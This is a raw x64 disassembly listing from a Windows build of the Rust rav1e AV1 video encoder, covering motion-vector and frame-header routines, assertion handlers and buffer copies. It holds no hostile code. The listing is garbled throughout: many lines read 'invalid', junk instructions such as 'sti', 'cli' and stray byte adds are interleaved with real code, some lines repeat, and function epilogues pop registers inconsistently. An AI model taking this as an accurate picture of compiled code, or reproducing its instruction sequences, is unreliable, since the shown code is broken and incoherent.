mov edx, r14d
jmp 0x1400df5a4
adc al, byte [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xb8
add dword [rax], eax
add al, ch
ficom dword [rdi - 0x74b70001]
invalid
cmp r15, 0xe
je 0x1400e003d
jmp case.0x1400df7c2.18
movzx r8d, word [rsp + 0x1ac]
movzx r9d, word [rsp + 0x1ae]
movzx eax, word [rsp + 0xc4]
movzx ecx, word [rsp + 0xc6]
mov byte [rsp + 0x30], sil
mov word [rsp + 0x28], cx
mov word [rsp + 0x20], ax
mov rcx, rdi
mov rdx, qword [rsp + 0xa0]
call fcn.1400e0762
jmp case.0x1400df7c2.18
movzx r14d, word [rsp + 0x1a8]
cmp byte [rsp + 0xa8], 0
je 0x1400e0087
test r14w, r14w
jne 0x1400e019d
cmp word [rsp + 0x1aa], 0
je case.0x1400df7c2.18
lea rcx, [rsp + 0x1aa]
lea r8, [rsp + 0xe8]
and qword [r8], 0
lea rdx, [0x1402898d8]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
call fcn.1401c8175
mov rdx, qword [rsp + 0x1f0]
cmp r14w, word [rdx]
jne 0x1400e01b9
movzx eax, word [rsp + 0x1aa]
cmp ax, word [rdx + 2]
je case.0x1400df7c2.18
lea rcx, [rsp + 0x1aa]
add rdx, 2
lea r8, [rsp + 0xe8]
and qword [r8], 0
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
call fcn.1401c8175
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_frame_header.rs
mov rcx, r15
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
jmp 0x1400dfe99
lea rcx, str.assertion_failed:_index___self.rowsassertion_failed:_index___self.rect.heightC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_arrayvec_0.7.4_src_arrayvec.rsC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcec.rsC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tiler.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_frame_header.rs
mov edx, 0x23
call fcn.1401c6f30
lea rcx, str.assertion_failed:_num_mv_found___ref_mv_idx
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov edx, 0x2b
call fcn.1401c6f30
lea rcx, str.assertion_failed:_bsize.cfl_allowed__
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov edx, 0x25
call fcn.1401c6f30
lea rcx, str.assertion_failed:_mv_stack_ref_mv_idx_.this_mv.row__mvs_0_.row_o__
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov edx, 0x40
call fcn.1401c6f30
lea rcx, str.assertion_failed:_0__mvs_0_.row
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
jmp 0x1400e0180
lea rcx, str.assertion_failed:_0__mvs_0_.col
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov edx, 0x21
call fcn.1401c6f30
lea rcx, str.assertion_failed:_num_mv_found___2
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
jmp 0x1400e0110
lea r8, [rsp + 0xe8]
and qword [r8], 0
lea rdx, [0x1402898d8]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
jmp 0x1400e01cc
lea r8, [rsp + 0xe8]
and qword [r8], 0
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
lea rcx, [rsp + 0x1a8]
call fcn.1401c8175
int3
lea rcx, [0x140241c8f]
lea r8, [0x140241be8]
push 0x67
pop rdx
call fcn.1401c6f30
jmp 0x1400e79da
lea rcx, [0x140241c33]
lea r8, [0x140241d80]
push 0x5c
pop rdx
call fcn.1401c6f30
jmp 0x1400e79da
ud2
mov rcx, qword [rbp + 0x4e00]
mov rdx, qword [rbp + 0x4e08]
mov edx, dword [rbp + 0x4e08]
or byte [rsi], cl
add al, ch
sti
mov eax, 0xf66fffa
cli
jmp qword [rsi + 0xf]
sub byte [rsp + 0xf0], dh
add byte [rax], al
movapd xmm7, xmmword [rsp + 0xe0]
add byte [rsi + 0x44], ah
movaps xmm0, xmmword [rsp + 0xd0]
cli
jmp qword [rsi + 0xf]
add byte [rsi + 0x44], ah
movaps xmm0, xmmword [rsp + 0xd0]
movapd xmm9, xmmword [rsp + 0xc0]
movapd xmm10, xmmword [rsp + 0xb0]
sub byte [rsp + 0xb0], dl
rol byte [rax], 0
add byte [rsi + 0x44], ah
movaps xmm2, xmmword [rsp + 0xb0]
sub byte [rsp + 0xb0], dl
sub byte [rsp + 0xb0], dl
movapd xmm11, xmmword [rsp + 0xa0]
movaps xmm3, xmmword [rsp + 0xa0]
movaps xmm12, xmmword [rsp + 0x90]
add byte [rax], al
movapd xmm13, xmmword [rsp + 0x80]
movapd xmm14, xmmword [rsp + 0x70]
and al, 0x70
movapd xmm15, xmmword [rsp + 0x60]
movaps xmm7, xmmword [rsp + 0x60]
add rsp, 0x108
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rsi + 0x44], ah
movaps xmmword [rsp + 0x60], xmm7
movapd xmmword [rsp + 0x70], xmm14
movapd xmmword [rsp + 0x80], xmm13
movaps xmmword [rsp + 0x90], xmm12
movapd xmmword [rsp + 0xa0], xmm11
movaps xmmword [rsp + 0xa0], xmm3
movaps xmmword [rsp + 0xa0], xmm3
movapd xmmword [rsp + 0xb0], xmm10
movapd xmmword [rsp + 0xc0], xmm9
and al, 0xc0
rol byte [rax], 0
invalid
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rsi + 0x44], ah
movaps xmmword [rsp + 0xc0], xmm1
and al, 0xc0
rol byte [rax], 0
invalid
rol byte [rax], 0
add byte [rsi + 0x44], ah
movaps xmmword [rsp + 0xd0], xmm8
movapd xmmword [rsp + 0xd0], xmm8
movaps xmmword [rsp + 0xd0], xmm8
movapd xmmword [rsp + 0xe0], xmm7
movapd xmmword [rsp + 0xf0], xmm6
lock add byte [rax], al
invalid
mov esp, 0xe024
add byte [rsi + 0xf], ah
sub dword [rsp + 0xf0], esi
lock add byte [rax], al
invalid
movaps xmmword [rsp + 0xf0], xmm6
lock add byte [rax], al
add byte [rax - 0x75], cl
lea eax, [rax]
add byte [rax], r8b
mov rcx, qword [rbp + 0x4e00]
mov rdx, qword [rbp + 0x4e08]
call fcn.1400e97a9
movaps xmm6, xmmword [rsp + 0xf0]
add byte [rax], al
add al, ch
xchg dword [0x1681d8224], edx
mov ah, 0x24
lock add byte [rax], al
add byte [rax], al
movaps xmm7, xmmword [rsp + 0xe0]
add byte [rax], al
movaps xmm7, xmmword [rsp + 0xe0]
movaps xmm8, xmmword [rsp + 0xd0]
movaps xmm9, xmmword [rsp + 0xc0]
sub byte [rsp + 0xc0], cl
movaps xmm10, xmmword [rsp + 0xb0]
movaps xmm11, xmmword [rsp + 0xa0]
pushfq
and al, 0xa0
add byte [rax], al
add byte [rdi + rcx + 0x28], al
movsb byte [rdi], byte [rsi]
and al, 0x90
nop
add byte [rax], al
add byte [rdi + rcx + 0x28], al
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rdi + rcx + 0x28], al
je 0x1400e8291
and al, 0x70
pushfq
and al, 0xa0
add byte [rax], al
add byte [rdi + rcx + 0x28], al
movsb byte [rdi], byte [rsi]
and al, 0x90
nop
nop
add byte [rax], al
add byte [rdi + rcx + 0x28], al
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rdi + rcx + 0x28], al
je 0x1400e8291
invalid
and al, 0x70
jo 0x1400e82b3
movaps xmm15, xmmword [rsp + 0x60]
movaps xmm7, xmmword [rsp + 0x60]
add rsp, 0x108
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
push rdi
push rbp
push rbx
sub rsp, 0x58
mov rbx, qword [rsp + 0xc8]
cmp rbx, 2
ja 0x1400e85d3
mov rdi, r8
mov edi, eax
mov rbp, rdx
mov r15, rcx
mov rax, qword [rsp + 0xc0]
mov rcx, rbx
shl rcx, 6
add rdi, rcx
mov byte [rsp + 0x20], 1
lea r14, [rsp + 0x30]
xor byte [rcx + rcx*4 - 0xf], cl
mov rdx, rdi
mov r8, r9
mov r9, rax
call case.0x1400422a0.356
mov rcx, r14
mov rdx, rdi
call fcn.1400e8717
test rax, rax
ror byte [rdi], 0x84
invalid
add al, byte [rax]
invalid
movzx ecx, word [rax + 4]
movzx edx, byte [rax + 6]
invalid
shl edx, 0x10
loop 0x1400e830f
or edx, ecx
shl rdx, 0x20
mov eax, dword [rax]
or rax, rdx
mov r13, rax
shr r13, 8
mov r8, rax
shr r8, 0x10
movzx ecx, al
lea rdx, [0x14028c238]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
invalid
mov rax, qword [rdi]
movzx eax, byte [rax + 0x40]
cmp rax, 3
ja case.default.0x1400e834a
lea rcx, [0x14028c248]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r9, qword [r15 + 0x1288]
mov rcx, rbp
xor edx, edx
mov r8, r15
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
add byte [rax - 0x77], cl
jmp 0xc95c558b
pop rbp
pop r14
pop r15
jmp 0x1400e8805
mov rcx, rax
shr rcx, 0x20
and byte [rax + rcx*4 + 0x6c], al
and al, 0x30
and byte [rax + rcx*4 + 0x6c], al
and al, 0x30
mov word [rsp + 0x31], r8w
shr rax, 0x30
invalid
mov byte [rsp + 0x35], al
xor byte [rax + 0x66352444], cl
mov dword [rsp + 0x33], ecx
invalid
mov word [rsp + 0x33], cx
xor ecx, dword [rax - 0x75]
invalid
mov rax, qword [rdi]
movzx eax, byte [rax + 0x40]
cmp eax, 1
cmp eax, 1
je 0x1400e8416
cmp eax, 2
jne 0x1400e8611
add byte [rax], al
add byte [rax], al
mov rax, qword [r15 + 0x1288]
xchg dword [rax + 0x48000012], ecx
mov dword [rsp + 0x20], eax
add byte [rax], al
mov qword [rsp + 0x20], rax
mov r8d, 0x25c
mov r12, rbp
mov rcx, rbp
mov ecx, ebp
mov edx, 1
mov r9, r15
call fcn.1400e877d
jmp 0x1400e8430
mov word [rsp + 0x30], r8w
mov rax, qword [rdi]
movzx eax, byte [rax + 0x40]
cmp eax, 1
mov qword [rsp + 0x48], r8
clc
add dword [rcx + rcx*4 + 0x44], ecx
and al, 0x48
je 0x1400e84bd
cmp eax, 3
jne 0x1400e8621
mov rax, qword [r15 + 0x1288]
mov qword [rsp + 0x20], rax
and byte [rcx - 0x48], al
pop rax
add al, byte [rax]
add byte [rax - 0x77], cl
jmp 0x1400e85c2
add byte [rbp - 0x77], cl
stc
call fcn.1400e877d
add eax, dword [rax]
add cl, ch
invalid
add byte [rax], al
invalid
and byte [rcx - 0x48], al
pop rax
add al, byte [rax]
add byte [rax - 0x77], cl
jmp 0x1400e85c2
add eax, dword [rax]
add cl, ch
mov esi, 0x4d000000
mov ecx, dword [rdi + 0x1288]
mov r9, qword [r15 + 0x1288]
mov r12, rbp
mov rcx, rbp
jmp 0x1400e85e1
add byte [rbp - 0x77], cl
clc
call 0x1400e8805
add eax, dword [rax]
invalid
jmp 0x1400e85e1
add eax, dword [rax]
add byte [rax - 0x7d], cl
invalid
add rdi, 0x38
xor esi, esi
lea r13, str._n_b.assertion_failed:_coeffs_pass__0___0
mov qword [rsp + 0x50], rbx
cmp rsi, 2
je case.0x1400e8329.3
add byte [rax], al
add byte [rax], al
test rbx, rbx
je 0x1400e8466
lea rax, [rsi + rsi*2]
mov ebx, 1
cmp byte [rsp + rax + 0x30], 0
invalid
je 0x1400e8468
add byte [rdi + rax - 0x17], dh
jnp case.0x1400c4f7b.85
jmp 0x1400e85e1
add byte [rax], al
add byte [rcx], dh
fisttp dword [rax - 1]
invalid
xor ebx, ebx
inc rsi
cmp rbx, 3
je case.0x1400cbead.59
lea r15, [rbx + 1]
lea rax, [0x140244e58]
movsx r8d, byte [rbx + rax]
movsx eax, byte [rbx + rax]
movsx eax, byte [rbx + rax]
movsx r9d, byte [rbx + r13]
movsx ebp, byte [r14 + rbx]
inc r9d
ror dword [rdi], 0xbe
add al, 0x1f
ror dword [rdi], 0xbe
add al, 0x1f
mov dword [rsp + 0x28], eax
mov byte [rsp + 0x20], r15b
and byte [rcx + rcx*4 - 0x1f], cl
and byte [rcx + rcx*4 - 0x1f], cl
mov edx, ebp
call fcn.1400e888b
mov byte [rdi + rbx], bpl
mov rbx, r15
jmp 0x1400e846b
add r14, 3
add rdi, 3
mov rbx, qword [rsp + 0x50]
jmp 0x1400e8442
mov r9, qword [r15 + 0x1288]
mov rcx, rbp
mov edx, 2
mov r8, r15
mov eax, edi
mov eax, edi
call 0x1400e8805
movzx r8d, r13b
mov rsi, rbp
mov rcx, rbp
jmp 0x113f68994
add dword [rax], eax
add byte [rcx + 0xf], al
mov dh, 0xdd
lea r14d, [rbx*8]
xor r15d, r15d
lea r13, [0x14023fbf8]
lea r12, [0x140244dd0]
jmp 0x113f68994
cmp r15, 2
je case.0x1400e8329.3
cmp ebx, 0x10
jae 0x1400e85bf
lea rax, [r14 + r15*4]
cmp dword [r13 + rax], 0
je 0x1400e855b
lea rax, [0x140244dd2]
movsx r9d, byte [r15 + rax]
movsx r8d, byte [r15 + r12]
movsx ebp, byte [rsp + r15 + 0x30]
inc r9d
movsx eax, byte [rdi + r15 + 0x3e]
mov dword [rsp + 0x28], eax
mov byte [rsp + 0x20], 4
mov rcx, rsi
mov edx, ebp
call fcn.1400e888b
mov byte [rdi + r15 + 0x3e], bpl
jmp 0x1400e8575
test r15, r15
je 0x1400e8566
mov byte [rdi + 0x3f], 0x5f
jmp 0x1400e8575
cmp byte [rsp + 0x48], 0
jne 0x1400e85f9
mov byte [rdi + 0x3e], 0
inc r15
jmp 0x1400e8502
mov rax, qword [r15 + 0x1288]
mov qword [rsp + 0x20], rax
mov r8d, 0x25c
jmp 0x1400e85a0
mov rax, qword [r15 + 0x1288]
mov qword [rsp + 0x20], rax
mov r8d, 0x258
add al, byte [rax]
invalid
mov rcx, rbp
xor edx, edx
mov r9, r15
call fcn.1400e877d
nop
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_frame_header.rs
mov edx, 0x10
enter 0x15, 0xffffffffffffffba
adc byte [rax], al
add byte [rax], al
mov rcx, rbx
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_frame_header.rs
mov edx, 3
jmp 0x1400e85cb
lea rcx, [0x140244e5e]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_frame_header.rs
mov edx, 0x26
call fcn.1401c6f30
lea rcx, str.assertion_failed:_xqd_i___0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_frame_header.rs
mov edx, 0x1d
call fcn.1401c6f30
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_frame_header.rs
jmp 0x1400e863f
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str.0M__
jmp 0x1400e863f
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_frame_header.rs
mov edx, 0x28
call fcn.1401c6f30
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, r9
mov edi, edx
mov rbx, rcx
mov rax, qword [r8 + 0x10]
mov rcx, qword [r8]
mov rdx, qword [r8 + 8]
imul r9, rax, 0xa
inc rax
mov r10, qword [rsi + 0x5b0]
mov qword [rdx + r9], r10
mov word [rdx + r9 + 8], 0x5b0
mov qword [r8 + 0x10], rax
sub rcx, rax
cmp rcx, 4
ja 0x1400e884e
mov rcx, r8
call fcn.1400d1a98
add rsi, 0x5b0
mov eax, edi
test edi, edi
je 0x1400e8862
movzx edx, word [rsi + rax*2 - 2]
jmp 0x1400e8866
mov dx, 0x8000
movzx r8d, word [rsi + rax*2]
mov r9d, edi
xor r9d, 3
mov rcx, rbx
call fcn.140072d0e
mov rcx, rsi
mov edx, edi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp 0x1400d1b5a
lock add byte [rax], al
add byte [rdx], al
je 0x1400f36bd
mov rdi, qword [r15 + 0x220]
mov r12, qword [r15 + 0x228]
lea rcx, [rbp + 0x2e50]
mov rdx, r12
call fcn.1400b5bf6
mov esp, 0x48fffc4c
lea ecx, [rbp + 0x2e50]
mov esp, 0x48fffc4c
lea ecx, [rbp + 0x2e50]
mov rdx, r12
call fcn.1400b6f35
mov r14, qword [rbp + 0x2e58]
add byte [rax], al
add byte [rax], al
mov r15, qword [rbp + 0x2e60]
test r12, r12
je 0x1400f0f88
mov qword [rbp + 0x3698], r14
lea r14, [r14 + r15*2]
xor ebx, ebx
jle 0x1400f0f99
fisttp dword [rbx - 0x3c1760f4]
sar eax, 0xff
mov ecx, dword [rdi + rbx*4]
call fcn.14007d134
mov word [r14 + rbx*2], ax
inc rbx
cmp r12, rbx
jne 0x1400f0f69
add r15, rbx
mov r14, qword [rbp + 0x3698]
mov rcx, r14
mov rdx, r15
call fcn.140071dcf
lea rcx, [rbp + 0x2b00]
mov rdx, r14
add byte [rcx + rcx*4 - 0xe], cl
mov r8, r15
call fcn.1400b5c60
lea rcx, [rbp + 0x31c0]
mov rdx, r14
mov r8, r15
call fcn.1400b5f5a
lea rdi, [rbp + 0x33d0]
sal byte [rbx], 1
add byte [rax], al
sal byte [rbx], 1
add byte [rax], al
mov rcx, rdi
mov rdx, r14
mov r8, r15
call fcn.1400b624f
lea r12, [rbp + 0x3620]
mov rcx, r12
mov rdx, r14
mov r8, r15
call fcn.1400b6535
mov rcx, r14
mov ecx, esi
mov ecx, esi
mov rdx, r15
call fcn.1400b67f2
mov rbx, rax
mov rcx, r14
mov rdx, r15
call fcn.1400b6a90
lea rcx, [rbp + 0x2b00]
movups xmm0, xmmword [rcx]
lea r15, [rbp - 0x40]
movaps xmmword [r15], xmm0
sub dword [rdi], eax
sub dword [rdi], eax
lea rdx, [rbp + 0x31c0]
mov rcx, qword [rdx]
mov rdx, qword [rdx + 6]
mov qword [r15 + 0x24], rcx
mov qword [r15 + 0x2a], rdx
mov rcx, qword [rdi]
mov qword [r15 + 0x18], rcx
mov ecx, dword [rdi + 8]
mov dword [r15 + 0x20], ecx
mov rcx, qword [r12]
mov qword [r15 + 0x32], rcx
movzx ecx, word [r12 + 8]
mov word [r15 + 0x3a], cx
mov qword [r15 + 0x10], rbx
mov dword [r15 + 0x3c], eax
shr rax, 0x20
mov word [r15 + 0x40], ax
mov rcx, qword [rbp + 0x2e50]
add byte [rcx + rcx*4 - 0xe], cl
add byte [rcx + rcx*4 - 0xe], cl
call fcn.140005158
push 8
pop rdx
mov rcx, r15
call fcn.1400b6d19
mov qword [rbp + 0x3698], rax
lea rdi, [rbp - 0x1c]
push 7
pop r12
mov rcx, rdi
mov rdx, r12
call fcn.1400b6d19
mov qword [rbp + 0x3690], rax
lea rcx, [rbp - 0x28]
push 6
pop rdx
call fcn.1400b6d19
mov r14, rax
lea rcx, [rbp - 0xe]
push 5
pop rdx
call fcn.1400b6d19
mov rbx, rax
lea rcx, [rbp - 0x30]
push 4
pop rdx
call fcn.1400b6d19
mov r15, rax
lea rcx, [rbp - 4]
push 3
pop rdx
call fcn.1400b6d19
lea rdx, [rbp + 0x2e80]
mov rcx, qword [rbp + 0x3698]
mov qword [rdx - 0x30], rcx
mov rcx, qword [rbp + 0x3690]
mov qword [rdx - 0x28], rcx
mov qword [rdx - 0x20], r14
mov qword [rdx - 0x18], rbx
mov qword [rdx - 0x10], r15
mov qword [rdx - 8], rax
lea rcx, [rbp + 0x2e50]
call fcn.1400b6deb
test rax, rax
je 0x1400f36ce
mov rax, qword [rax]
push 0x30
pop rcx
test rcx, rcx
je 0x1400f338b
lea rdx, [rcx - 8]
dec r12
cmp qword [rbp + rcx + 0x2e48], rax
mov rcx, rdx
sal dword [rbp - 0x1d], 1
dec r12
cmp r12, 4
ja case.default.0x1400f1148
lea rax, [0x14028c258]
movsxd rcx, dword [rax + r12*4]
add rcx, rax
jmp rcx
lea rcx, [rbp + 0x2b00]
lea r8, [rbp - 0x40]
push 8
pop r9
mov rdx, qword [rbp + 0x3688]
call fcn.1400f48d1
jmp 0x1400f3102
mov r14, qword [r15 + 0x2b0]
xor r12d, r12d
cmp dword [r14 + 0x230], 3
setne r13b
mov rdx, qword [r15 + 0x260]
mov r8, qword [r15 + 0x268]
lea rcx, [rbp + 0x3570]
call fcn.140076be8
mov r15, qword [rbp + 0x3688]
mov ecx, dword [r15 + 0x2d8]
cmp rcx, 7
mov rsi, qword [rbp + 0x36a8]
je 0x1400f1253
cmp ecx, 6
ja 0x1400f3284
movzx ecx, byte [r15 + rcx + 0x2f4]
cmp rcx, 8
jae 0x1400f3298
mov rdx, qword [r15 + rcx*8 + 0xa0]
test rdx, rdx
je 0x1400f1253
add rdx, 0x130
lea rcx, [rbp - 0x40]
mov r8d, 0x2b34
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400f1263
mov dl, byte [r15 + 0x2fb]
lea rcx, [rbp - 0x40]
call fcn.140073da9
mov r8, qword [r14 + 0x198]
imul r8, qword [r14 + 0x190]
lea rcx, [rbp + 0x34a8]
lea rdx, [rbp - 0x40]
call fcn.1400b6ff8
lea rdx, [r14 + 0x170]
lea rcx, [rbp + 0x2e50]
lea r9, [rbp + 0x3570]
mov r8, rsi
call fcn.14009af81
mov rdi, qword [rbp + 0x34b0]
imul rbx, qword [rbp + 0x34b8], 0x2b34
add rbx, rdi
lea rsi, [rbp + 0x33f8]
lea rdx, [rbp + 0x2e50]
mov r8d, 0x98
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
xorps xmm0, xmm0
and qword [rsi - 8], 0
movups xmmword [rsi - 0x18], xmm0
mov qword [rsi - 0x28], rdi
mov qword [rsi - 0x20], rbx
mov byte [rbp + 0x36b4], 1
lea rcx, [rbp + 0x2b00]
lea rdx, [rbp + 0x33d0]
call fcn.140117970
push 3
pop rdi
push 8
pop rsi
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x2b00], rax
mov qword [rbp + 0x35f8], r14
jne 0x1400f133f
mov rcx, qword [rbp + 0x3480]
mov dl, byte [rbp + 0x3488]
call fcn.14009d783
xor ebx, ebx
mov r14, rsi
mov rdx, rsi
xor esi, esi
jmp 0x1400f15a1
mov byte [rbp + 0x3698], r13b
lea rcx, [rbp + 0x2e50]
lea rdx, [rbp + 0x2b00]
mov r8d, 0x348
call sub.VCRUNTIME140.dll_memcpy
mov rsi, qword [rbp + 0x3420]
imul rsi, qword [rbp + 0x3418]
sub rsi, qword [rbp + 0x3478]
mov rax, qword [rbp + 0x33d8]
sub rax, qword [rbp + 0x33d0]
mov ecx, 0x2b34
xor edx, edx
div rcx
cmp rsi, rax
cmovae rsi, rax
cmp rsi, 4
cmovb rsi, rdi
inc rsi
imul rdi, rsi, 0x348
push 8
pop rcx
mov rdx, rdi
call fcn.14007db50
test rax, rax
je 0x1400f34c5
mov r14, rax
push 1
pop rbx
lea r12, [rbp + 0x2e50]
mov r8d, 0x348
mov rcx, rax
mov rdx, r12
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x3658], rsi
mov qword [rbp + 0x3660], r14
mov qword [rbp + 0x3668], 1
lea rcx, [rbp + 0x31c0]
lea rdx, [rbp + 0x33d0]
mov r8d, 0xc0
call sub.VCRUNTIME140.dll_memcpy
lea r13, [rbp + 0x2b00]
xor eax, eax
mov qword [rbp + 0x3690], rax
mov r15, rsi
mov rcx, r13
lea rdx, [rbp + 0x31c0]
call fcn.140117970
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x2b00], rax
je 0x1400f157b
mov r8d, 0x348
mov rcx, r12
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
cmp rbx, r15
jne 0x1400f14a5
mov rax, qword [rbp + 0x31c8]
mov rcx, qword [rbp + 0x3210]
imul rcx, qword [rbp + 0x3208]
sub rcx, qword [rbp + 0x3268]
sub rax, qword [rbp + 0x31c0]
xor edx, edx
mov r8d, 0x2b34
div r8
cmp rcx, rax
cmovae rcx, rax
mov rax, rsi
sub rax, r15
cmp rax, rcx
jbe 0x1400f14ad
mov rdi, rsi
mov r15, rsi
jmp 0x1400f1551
mov rdi, rsi
jmp 0x1400f1551
inc rcx
add r15, rcx
jb 0x1400f33b3
lea rax, [rsi + rsi]
cmp rax, r15
cmova r15, rax
xor edx, edx
movabs rax, 0x27027027027028
cmp r15, rax
setb al
cmp r15, 5
mov rdi, r15
push 4
pop rcx
cmovb rdi, rcx
test rsi, rsi
je 0x1400f1503
imul rcx, rsi, 0x348
mov qword [rbp + 0x3620], r14
mov qword [rbp + 0x3630], rcx
push 8
pop rcx
jmp 0x1400f1505
xor ecx, ecx
imul r8, rdi, 0x348
mov dl, al
shl edx, 3
mov qword [rbp + 0x3628], rcx
lea rcx, [rbp + 0x3520]
lea r9, [rbp + 0x3620]
call fcn.140059531
cmp qword [rbp + 0x3520], 0
jne 0x1400f339c
mov r14, qword [rbp + 0x3528]
mov qword [rbp + 0x3660], r14
mov qword [rbp + 0x3658], rdi
mov r15, rdi
imul rcx, rbx, 0x348
add rcx, r14
mov r8d, 0x348
mov rdx, r12
call sub.VCRUNTIME140.dll_memmove
inc rbx
mov qword [rbp + 0x3668], rbx
mov rsi, rdi
jmp 0x1400f141d
mov rcx, qword [rbp + 0x3270]
mov dl, byte [rbp + 0x3278]
call fcn.14009d783
mov r15, qword [rbp + 0x3688]
xor r12d, r12d
mov r13b, byte [rbp + 0x3698]
push 8
pop rdx
lea rcx, [rbp + 0x3490]
and qword [rcx], 0
mov qword [rcx + 8], rdx
and qword [rcx + 0x10], 0
lea rax, [rbp + 0x35c8]
and qword [rax], 0
mov qword [rax + 8], rdx
and qword [rax + 0x10], 0
mov qword [rbp + 0x3620], rsi
mov qword [rbp + 0x3628], r14
mov qword [rbp + 0x3630], rbx
mov qword [rbp + 0x3638], r15
mov rdx, qword [rbp + 0x34f8]
mov qword [rbp + 0x3640], rdx
mov qword [rbp + 0x3648], rax
mov qword [rbp + 0x32e8], rbx
mov byte [rbp + 0x36b7], 1
mov rdx, rbx
call fcn.1400bf499
mov byte [rbp + 0x36a7], 1
lea rcx, [rbp + 0x3490]
mov rdx, rbx
call fcn.1400bf55a
lea r8, [rbp + 0x3550]
and qword [r8], 0
movups xmm0, xmmword [rbp + 0x3620]
movups xmm1, xmmword [rbp + 0x3630]
movaps xmmword [rbp + 0x2b10], xmm1
movaps xmmword [rbp + 0x2b00], xmm0
mov rcx, qword [rbp + 0x3640]
mov qword [rbp + 0x2b20], rcx
mov qword [rbp + 0x2b30], rax
mov qword [rbp + 0x2b38], rdx
mov qword [rbp + 0x2b28], r8
mov rsi, qword [rbp + 0x2b10]
mov qword [rbp + 0x32e0], rsi
mov byte [rbp + 0x36b6], 1
lea rcx, [rbp + 0x35c8]
mov rdx, rsi
call fcn.1400bf6b5
mov byte [rbp + 0x36b5], 1
lea rcx, [rbp + 0x35c8]
mov rdx, rsi
call fcn.1400bf77c
movaps xmm0, xmmword [rbp + 0x2b00]
movaps xmm1, xmmword [rbp + 0x2b10]
movaps xmm2, xmmword [rbp + 0x2b20]
movaps xmm3, xmmword [rbp + 0x2b30]
lea rcx, [rbp + 0x2e90]
movaps xmmword [rcx - 0x10], xmm3
movaps xmmword [rcx - 0x20], xmm2
movaps xmmword [rcx - 0x30], xmm1
movaps xmmword [rcx - 0x40], xmm0
movaps xmm0, xmmword [rcx - 0x10]
mov r8, qword [rbp + 0x3640]
lea r9, [rbp + 0x3538]
mov qword [r9 + 8], r8
movups xmm1, xmmword [rbp + 0x3620]
movups xmm2, xmmword [rbp + 0x3630]
movaps xmmword [r9 - 8], xmm2
movaps xmmword [r9 - 0x18], xmm1
movups xmm1, xmmword [rbp + 0x3620]
lea r8, [rbp + 0x3590]
movaps xmmword [r8], xmm1
